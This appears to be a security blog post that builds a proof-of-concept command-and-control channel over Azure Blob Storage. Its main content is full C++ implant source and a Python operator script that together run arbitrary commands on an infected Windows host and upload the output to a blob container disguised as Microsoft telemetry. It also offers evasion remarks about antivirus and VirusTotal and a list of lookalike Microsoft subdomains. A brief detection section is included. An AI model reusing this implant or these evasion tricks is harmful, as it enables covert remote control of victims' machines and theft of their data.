Abusing Azure Blob Storage for Command and Control over Windows.net Domain

Introduction

Cloud storage services like Microsoft Azure Blob Storage are widely used for legitimate data management and application hosting. However, their scalability, accessibility, and integration with public networks make them equally attractive for abuse by adversaries. This article explores how Azure Blob Storage can be leveraged as a covert Command and Control (C2) channel, demonstrating how a lightweight C++ agent can pull commands and exfiltrate results without drawing much attention.

Inspiration


The CERT of the Tunisian Ministry of Social Affairs have published the following post on Linkedin  concerning a phishing attack targeting the government employees.


SOCIALTN-CERT Linkedin Post


The phishing page is hosted on windows.net. It looks like it is hosted on Microsoft Azure Blob Storage. Threat Actors out there are abusing the Blob service for phishing.
Microsoft Azure Blob Storage comes with a free *.blob.core.windows.net subdomain. Microsoft domain names are often trusted by Admins, Users and Security Analysts. Some security tools and detection rules skip them sometimes.

For information, The Blob Storage Service is free for up to 5GB

MS Azure Free Services
What if we push it even further and setup a C2 based on Azure Blob ?

Proof Of Concept


Overview

Let's use blob as a middle man to communicate with the infected machine. This comes with multiple advantages:
  • The C2 server is not directly exposed to the victim network. Which complicates the deanonymization.
  • Communications over a windows.net subdomain (Drags less attention).
  • SAS Tokens can be setup to authenticate the infected machine. This makes active investigation one step harder, Since investigator need to reverse the malware to extract the SAS tokens.

C2 over MS Azure Blob

We have picked diagnosticstelemetry.blob.core.windows[.]net to make the traffic look like Microsoft diagnostics telemetry.

The infrastructure consists of following components:
  • MS Azure blob storage containers ( for command and command outputs).
  • VPS running an interactive C2 Python script (Push commands & pull results).
  • Executable malware running on an infected machine to communicate with Blob (Pull & Run Commands and Upload results)

Setting Up Azure Blob Storage

As displayed in the following screenshot, we have created diagnosticstelemetry storage account. Within the account, we have created two containers. configuration for the commands pushed by C2 and stream for the commands output uploaded by the infected host.

Azure blob storage account and containers




SAS tokens need to be generated respectfully for the C2 python script and for the malware.

  • Python Script: Can write to the configuration container, read and list on the stream container
  • Malware process: Can write/add only on the stream container, read only on the configuration container
To get started we need to setup a dummy command file in the configuration container. Let's give it the name telemetery.conf.
telemetry.conf on Storage Account



telemetery.conf contents

We are associating each command with a UUID to programmatically map them with their outputs later.
Let's keep it simple for now, and stay on a single command single infection scenario.
Now we have every thing set up. We can now start developing the client that will run on the infected host to execute commands for us.

C++ Client : The actual Malware

We are building this client in C++. 

The program runs in a loop that does the following in each iteration.

  1. Pulls telemetery.conf from diagnosticstelemetry.blob.core.windows[.]net/stream. every second.
  2. Extracts the UUID and the new command.
  3. Checks if the UUID of the new command matches the UUID of the last command.
  4. If it does, it skips to the next iteration.
  5. If the command hasn't been run yet (Else), it executes it.
  6. Command output gets written to a temporary file.
  7. Command output gets retrieved from the temporary file.
  8. New Blob gets created with the name "<CMD_UUID>.<HOSTNAME>" with the temporary file contents (Command output).
  9. Sleeps for one second.
  10. Starts over.

msdu.cpp:



#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#ifdef _WIN32
#include 
#pragma comment(lib, "Ws2_32.lib")
#else
#include 
#endif

std::string last_uuid = "";

struct UploadData {
    FILE* file;
};

size_t read_callback(void* ptr, size_t size, size_t nmemb, void* stream) {
    UploadData* upload = (UploadData*)stream;
    if (!upload->file) return 0;
    return fread(ptr, size, nmemb, upload->file);
}


size_t write_callback(void* contents, size_t size, size_t nmemb, void* userp) {
    ((std::string*)userp)->append((char*)contents, size * nmemb);
    return size * nmemb;
}

std::string get_hostname() {
    char hostname[256];
    if (gethostname(hostname, sizeof(hostname)) == 0) {
        return hostname;
    }
    return "unknown_host";
}

std::string run_command_to_file(const std::string& cmd, const std::string& filepath) {
    FILE* pipe = _popen(cmd.c_str(), "r");
    if (!pipe) return "error: _popen failed";

    std::ofstream out(filepath, std::ios::binary);
    if (!out) {
        _pclose(pipe);
        return "error: failed to open file";
    }

    char buffer[4096];
    while (fgets(buffer, sizeof(buffer), pipe)) {
        out.write(buffer, strlen(buffer));
    }
    out.close();
    _pclose(pipe);
    return "ok";
}

bool upload_file(const std::string& base_url, const std::string& blob_name, const std::string& filepath, std::string& upload_blob_sas) {

    CURL* curl = curl_easy_init();
    if (!curl) return false;

    std::ifstream in(filepath, std::ios::binary | std::ios::ate);
    if (!in) {
        std::cerr << "Failed to open file: " << filepath << "\n";
        curl_easy_cleanup(curl);
        return false;
    }
    curl_off_t file_size = in.tellg();
    in.close();
    if (file_size == 0) {
        std::cerr << "File is empty. Skipping upload.\n";
        curl_easy_cleanup(curl);
        return false;
    }

    std::string escaped_blob_name = curl_easy_escape(curl, blob_name.c_str(), 0);
    std::string full_url = base_url + "/" + escaped_blob_name + "?" + upload_blob_sas;

    // std::cout << "Uploading to: " << full_url << std::endl;

    struct curl_slist* headers = nullptr;
    headers = curl_slist_append(headers, "x-ms-blob-type: BlockBlob");

    FILE* f = fopen(filepath.c_str(), "rb");
    if (!f) {
        std::cerr << "Failed to reopen file for reading.\n";
        curl_slist_free_all(headers);
        curl_easy_cleanup(curl);
        return false;
    }

    UploadData upload_ctx = { f };

    curl_easy_setopt(curl, CURLOPT_URL, full_url.c_str());
    curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
    curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
    curl_easy_setopt(curl, CURLOPT_READDATA, &upload_ctx);
    curl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE, (curl_off_t)file_size);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    // curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

    CURLcode res = curl_easy_perform(curl);
    long response_code = 0;
    curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
    std::cout << "Upload HTTP response: " << response_code << "\n";

    fclose(f);
    curl_slist_free_all(headers);
    curl_easy_cleanup(curl);

    return res == CURLE_OK && response_code >= 200 && response_code < 300;

}
void poll_and_run(const std::string& cmd_blob_url, const std::string& upload_container_url, std::string& upload_blob_sas) {
    CURL* curl = curl_easy_init();
    if (!curl) {
        std::cerr << "CURL init failed.\n";
        return;
    }

    while (true) {
        std::string response;
        curl_easy_setopt(curl, CURLOPT_URL, cmd_blob_url.c_str());
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);

        CURLcode res = curl_easy_perform(curl);
        if (res != CURLE_OK) {
            std::cerr << "Failed to fetch command: " << curl_easy_strerror(res) << "\n";
        } else {
            std::istringstream ss(response);
            std::string line;
            while (std::getline(ss, line)) {
                size_t comma = line.find(',');
                if (comma == std::string::npos) continue;

                std::string uuid = line.substr(0, comma);
                std::string cmd = line.substr(comma + 1);

                if (uuid != last_uuid) {
                    last_uuid = uuid;
                    std::cout << "New command: " << cmd << "\n";

                    std::string temp_file;
                    char* local_appdata = getenv("LOCALAPPDATA");
                    if (local_appdata) {
                        temp_file = std::string(local_appdata) + "\\chunk.tmp";
                    } else {
                        std::cerr << "LOCALAPPDATA is null. Using fallback path.\n";
                        temp_file = "chunk.tmp";
                    }

                    std::string exec_status = run_command_to_file(cmd, temp_file);
                    if (exec_status == "ok") {
                        std::string blob_name = uuid + "." + get_hostname();
                        if (upload_file(upload_container_url, blob_name, temp_file, upload_blob_sas)) {
                            std::cout << "Uploaded output as blob: " << blob_name << "\n";
                        } else {
                            std::cerr << "Upload failed\n";
                        }
                    } else {
                        std::cerr << "Failed to run command or write file: " << exec_status << "\n";
                    }
                    std::remove(temp_file.c_str());
                }
            }
        }
        std::this_thread::sleep_for(std::chrono::seconds(1));
    }
    curl_easy_cleanup(curl);
}


int main() {
    curl_global_init(CURL_GLOBAL_ALL);
	std::string cmd_blob_url = "https://diagnosticstelemetry.blob.core.windows.net/configuration/telemetry.conf?";
	std::string upload_blob_url = "https://diagnosticstelemetry.blob.core.windows.net/stream";
	std::string upload_blob_sas = "";
	poll_and_run(cmd_blob_url, upload_blob_url,upload_blob_sas);
    return 0;
}


C2 Server Script

We have created the C2 script in Python. It is simple and effective.
The Scripts runs in a loop as the following:
  • The user gets prompted for a command
  • The user types in the command
  • Command UUID gets generated.
  • The command gets sent to the configuration Blob container and telemetry.conf gets overwritten.
  • Checks the stream container for response Blobs. By looking for a name starting with the command UUID
  • Tries until it gets the response or timeout.
  • Prints the command output.
  • Starts over.

c2.py:


import uuid
import time
from azure.storage.blob import BlobServiceClient, BlobClient

# CONFIGURATION
connection_string = ""
command_container = "configuration"     # container holding telemetry.conf
response_container = "stream"     # container where agents upload results
telemetry_blob_name = "telemetry.conf"       # blob file holding uuid,command

# Initialize Azure Blob client
blob_service = BlobServiceClient.from_connection_string(connection_string)

def write_single_command(uuid_str, command):
    blob_client = blob_service.get_blob_client(container=command_container, blob=telemetry_blob_name)
    line = f"{uuid_str},{command}\n"
    blob_client.upload_blob(line, overwrite=True)
    print(f"[INFO] Sent command with UUID: {uuid_str}")

def wait_for_response(uuid_str):
    container_client = blob_service.get_container_client(response_container)
    print("[INFO] Waiting for agent response...")

    timeout_seconds = 120
    poll_interval = 2
    elapsed = 0

    while elapsed < timeout_seconds:
        blob_list = container_client.list_blobs(name_starts_with=uuid_str + ".")
        matching_blobs = list(blob_list)
        if matching_blobs:
            blob_name = matching_blobs[0].name
            blob_client = container_client.get_blob_client(blob_name)
            content = blob_client.download_blob().readall().decode()
            print(f"\n=== Response from {blob_name} ===")
            print(content)
            print("=" * 40 + "\n")
            return
        time.sleep(poll_interval)
        elapsed += poll_interval

    print("[ERROR] Timed out waiting for response.\n")

def main():
    print("Telemetry Command Server started. Type commands below (Ctrl+C to exit).")
    while True:
        try:
            user_command = input(">>> ").strip()
            if not user_command:
                continue
            new_uuid = str(uuid.uuid4())
            write_single_command(new_uuid, user_command)
            wait_for_response(new_uuid)
        except KeyboardInterrupt:
            print("\n[INFO] Exiting.")
            break
        except Exception as e:
            print(f"[ERROR] {e}\n")

if __name__ == "__main__":
    main()

PoC Outcome

Let's start the c2 script and run the malware and see !

C2.py (C2 Server):


C2 Server Interactive shell on Victim Host


C++ Client: The Malware

The malware pulling and pushing successfully from and to the Blob storage:
C++ Client/ Malware in "Debug" mode


Azure Blob Storage Container steam contents

  • The C2 is working perfectly !
  • diagnosticstelemetry.blob.core.windows[.]net  is not detected by VirusTotal yet.
  • MS Defender on Windows Home & Malware Byets Free Antivirus have not detected the C2.
  • Microsoft Defender  for Endpoint uses *.blob.core.windows[.]net, which can help with stealth.

Threat actors

This is not a new technique. It is potentially being exploited  by TAs.

Blob storage name check

As you can tell from the screenshot above. We could not create msupdate.blob.core.windows[.]net because someone has thought of it and seized it for themselves.
This domain can be mistaken for windows updates. It can be used to used to deliver malware masquerading as windows updates.
Legitimate Windows updates are provided through *.windowsupdate.com
Windows.net is very convincing and can be abused to pull of a phishing attack.

We have generated a list of suspicious subdomains using ChatGpt. Then run a script to check if they are alive.

We had the following result:

Windows.net blob core suspicious subdomains


Windows.net blob core suspicious subdomains


update.blob.core.windows[.]net
support.blob.core.windows[.]net
diagnostics.blob.core.windows[.]net
troubleshooter.blob.core.windows[.]net
autoupdate.blob.core.windows[.]net
securityupdate.blob.core.windows[.]net
patches.blob.core.windows[.]net
defender.blob.core.windows[.]net
msdefender.blob.core.windows[.]net
antimalware.blob.core.windows[.]net
wdav.blob.core.windows[.]net
recovery.blob.core.windows[.]net
telemetry.blob.core.windows[.]net
onedrivesync.blob.core.windows[.]net
endpoint.blob.core.windows[.]net
intune.blob.core.windows[.]net
intunemgmt.blob.core.windows[.]net
aadconnect.blob.core.windows[.]net
aadlogin.blob.core.windows[.]net
wpad.blob.core.windows[.]net
networkdiagnostic.blob.core.windows[.]net
admincenter.blob.core.windows[.]net
msadmin.blob.core.windows[.]net
configmgr.blob.core.windows[.]net
sccm.blob.core.windows[.]net
powershell.blob.core.windows[.]net
rmmagent.blob.core.windows[.]net
deploy.blob.core.windows[.]net
portal.blob.core.windows[.]net
msupdates.blob.core.windows[.]net

We have not checked and verified the legitimacy of every single subdomain. This test was done to show case how easy it is to get a *.blob.core.windows[.]net subdomain and abuse to go under the radar.

Detection

  • To detect any kind of abuse using Azure Blob Storage. Subdomains *.blob.core.windows[.]net should be monitored.
  • A detection rule can be put in place to monitor these subdomains on proxy logs, DNS logs and EDR logs...
  • Legitimate Microsoft services that use Blob like MDE should be excluded from monitoring. Check https://aka.ms/MDE-standard-urls.

Summary

This technique can be tricky to detect, yet it can get even harder to detect when combined with other techniques.

Improvements

  • Run the malware in background: Use a VBS script.
  • Multi-session to handle multiple infections at the same time.
  • C2 User Interface.
  • Run the PoC on hosts running EDR solutions to see if it gets detected.
  • And anything else that we have not thought of.

Source Code

Source code is available on our GitHub Repo.

PS: ChatGpt definitely helped with the code. Why do it in 4 hours if we can do it 2 🙂.